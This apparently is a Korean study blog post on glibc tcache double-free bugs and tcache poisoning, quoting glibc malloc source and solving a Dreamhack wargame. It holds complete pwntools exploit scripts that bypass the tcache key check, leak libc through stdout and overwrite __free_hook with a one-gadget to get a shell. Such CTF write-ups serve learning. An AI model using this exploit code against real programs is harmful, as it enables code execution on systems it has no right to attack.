TIL: DFB, Tcache Poisoning ☠️
Double Free Bug
Double Free Bug (DFB)는 같은 chunk를 두 번 free할 수 있는 버그를 말한다.
이 버그를 사용하면 임의 주소 쓰기, 임의 주소 읽기, 임의 코드 실행 등이 가능하다.
초기에는 tcache에 보호 기법이 전무하여 Double Free를 이용한 exploit이 쉬웠지만, 최근에는 관련 보호 기법이 glibc
에 구현되어 이를 우회할 필요가 있다.
Tcache DFB
tcache_entry
tcache_entry
는 free된 tcache chunk들이 갖는 구조이다. 일반 chunk의 fd
가 next
라는 필드로 대체되고, LIFO로 사용되므로 bk
에 대응되는 값은 없다.
tcache를 DFB로부터 보호하기 위해 key
라는 pointer가 tcache_entry
에 일반 chunk의 bk
자리에 추가되었다.
typedef struct tcache_entry {
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
tcache_put
tcache_put
는 freed chunk를 tcache에 추가하는 함수이다.
tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
assert(tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will detect a
double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache_put
는 free되는 chunk의key
에tcache
라는 값을 대입한다.- 여기서
tcache
는tcache_perthread
라는 variable를 가리킨다.
- 여기서
tcache_get
tcache_get
는 tcache에 연결된 chunk를 다시 allocate할 때 사용하는 함수이다.
tcache_get (size_t tc_idx)
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
tcache_get
는 다시 allocate하는 chunk의key
에 NULL을 대입한다.
_int_free
_int_free
는 chunk를 free할 때 호출되는 함수이다.
_int_free (mstate av, mchunkptr p, int have_lock)
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
_int_free
는 reallocate하려는 chunk의key
가tcache
이면 Double Free가 발생했다고 보고 프로그램을 abort한다.- 이외의 보호 기법은 없으므로 이 조건만 통과한다면 Double Free를 일으킬 수 있다.
Tcache Duplication
아래 코드는 tcache에 적용된 double free 보호 기법을 우회하여 DFB를 트리거한다.
// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c
#include <stdio.h>
#include <stdlib.h>
int main() {
void *chunk = malloc(0x20);
printf("Chunk to be double-freed: %p\n", chunk);
free(chunk);
*(char *)(chunk + 8) = 0xff; // manipulate chunk->key
free(chunk); // free chunk in twice
printf("First allocation: %p\n", malloc(0x20));
printf("Second allocation: %p\n", malloc(0x20));
return 0;
}
*(char *)(chunk + 8) = 0xff;
→tcache_entry
의key
의 값을 한 byte만큼 바꿔_int_free
의 보호 기법을 우회했다.
Wargame: Tcache Poisoning
문제의 소스 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
Vulnerability Scanning
-
checksec
- NX, FULL RELRO가 적용되어 있다. → Hook overwrite을 시도하자.
-
임의의 크기로 chunk를 allocate 및 free할 수 있으며, chunk의 값을 조작하고 출력할 수도 있다. → DFB를 활용할 수 있다.
Tcache Poisoning
Tcache poisoning은 tcache를 조작하여 임의 주소에 chunk를 allocate하는 공격 기법을 말한다.
DFB가 일어나 하나의 chunk가 중복되어 tcache에 들어가게 된 후, 그 chunk를 reallocate한다면 그 chunk는 allocated chunk이면서 동시에 freed chunk가 된다.
이때 해당 allocated chunk의 값을 원하는 대로 수정할 수 있다면, 이 chunk의 fd
와 bk
를 원하는 대로 수정할 수 있게 된다. → tcache에 임의 주소를 추가할 수 있다. → 임의 주소에 chunk를 allocate할 수 있다. → 임의 주소 읽기 및 쓰기가 가능하다.
Exploit - Tcache Poisoning을 이용해 libc_base 알아내기
from pwn import *
p = process("./tcache_poison")
#p = remote("host3.dreamhack.games", 18280)
gdb.attach(p)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
def allocate(size, content):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(": ", str(size))
p.sendafter(": ", content)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(content):
p.sendlineafter("Edit\n", "4")
p.sendafter(": ", content)
allocate(0x30, "dreamhack")
free()
edit("A"*0x8 + "B") # overwrite tcache_entry->key
free() #
addr_stdout = e.symbols["stdout"]
allocate(0x30, p64(addr_stdout))
allocate(0x30, "BBBBBBBB")
allocate(0x30, "\x60")
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recvn(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
#local
og = lb + 0x4f302
#remote
#og = lb + 0x4f432
free_hook = lb + libc.symbols["__free_hook"]
edit("A"*8 + "\x00")
→ chunk의key
를 변경하여 해당 chunk가 다시 한 번 free될 수 있도록 한다. → DFB가 일어날 수 있다.-
첫 번째
free()
이후 heap의 상태key
가 0x1ec7010임을 확인할 수 있다. -
edit("A"*8 + "B")
이후 heap의 상태key
가 0x1ec7042로 변경되었다. (B = 0x42) -
두 번째
free()
이후 heap의 상태0x1ec7260에 있는 chunk가 tcache에 두 번 들어갔음을 확인할 수 있다. 즉, DFB가 일어났다.
-
allocate(0x30, p64(addr_stdout))
이후 heap의 상태0x1ec7260에 있는 chunk의
fd
값이 0x601010(addr_stdout
)으로 변경되었다. → 0x601010에는_IO_2_1_stdout_
의 주소가 들어 있는데, 이 값이fd
로 인식되어_IO_2_1_stdout_
가 0x601010의 다음 chunk로 tcache에 들어왔다. -
allocate(0x30, "BBBBBBBB")
이후 heap의 상태DFB가 일어났던 chunk가 재할당되어 dummy 값(”BBBBBBBB”)이 들어갔다. (LIFO 방식) tcache에는 0x601010과 이에 연결된
_IO_2_1_stdout_
이 남아 있다. -
allocate(0x30, "\x60")
이후 heap의 상태allocate(0x30, "\x60")
이 할당한 pointer는e.symbols["stdout"]
이므로, 이 할당한 chunk의 값을 출력하면_IO_2_1_stdout_
의 값을 확인할 수 있다. 따라서print_chunk()
를 실행해 주소를 얻고, 이로부터 libc_base를 얻는다. 이후 hook overwrite를 위한__free_hook
의 주소와og
를 얻는다.이때 만약
“\x60”
이 아닌 다른 값을 넣어줬다면 chunk에 담겨 있는_IO_2_1_stdout_
의 값이 변하게 된다. 다행히도_IO_2_1_stdout_
의 마지막 1.5 byte의 값은 변하지 않으므로 미리 gdb를 이용해 마지막 1.5 byte의 값을 확인해 allocate할 때 넣어줄 값을 확인할 수 있다.
Exploit - Tcache Poisoning을 이용해 Hook Overwrite하기
from pwn import *
p = process("./tcache_poison")
#p = remote("host3.dreamhack.games", 18280)
gdb.attach(p)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
def allocate(size, content):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(": ", str(size))
p.sendafter(": ", content)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(content):
p.sendlineafter("Edit\n", "4")
p.sendafter(": ", content)
allocate(0x30, "dreamhack")
free()
edit("A"*0x8 + "B")
free()
addr_stdout = e.symbols["stdout"]
allocate(0x30, p64(addr_stdout))
allocate(0x30, "BBBBBBBB")
allocate(0x30, "\x60")
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recvn(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
#local
og = lb + 0x4f302
#remote
#og = lb + 0x4f432
free_hook = lb + libc.symbols["__free_hook"]
allocate(0x40, "dreamhack")
free()
edit("A"*0x8 + "\x00")
free()
allocate(0x40, p64(free_hook))
allocate(0x40, "BBBBBBBB")
allocate(0x40, p64(og))
free()
p.interactive()
- 다시 DFB를 일으켜
__free_hook
을og
로 overwrite한다. -
DFB를 한 번 더 일으킬 때 주의해야 할 점은, 이전에 DFB를 일으켰던 size의 chunk를 다시 사용하는 것을 지양해야 한다는 점이다.
첫 번째 DFB 때 사용한 0x40 size의 tcache_entry를 살펴보면, 마지막에
_IO_2_1_stdout_
이 tcache_entry에 포함되어 있음을 알 수 있다. 이 상태에서 다시 allocate을 하고 그 chunk에 값을 입력하면_IO_2_1_stdout_
의 값이 변경되어 의도하지 않는 방식으로 프로그램이 작동할 수 있다. - 따라서 두 번째 DFB는 0x50 size의 chunk를 사용한다.
__free_hook
을og
로 overwrite한 이후free()
를 실행하면 shell을 획득할 수 있다.
Leave a comment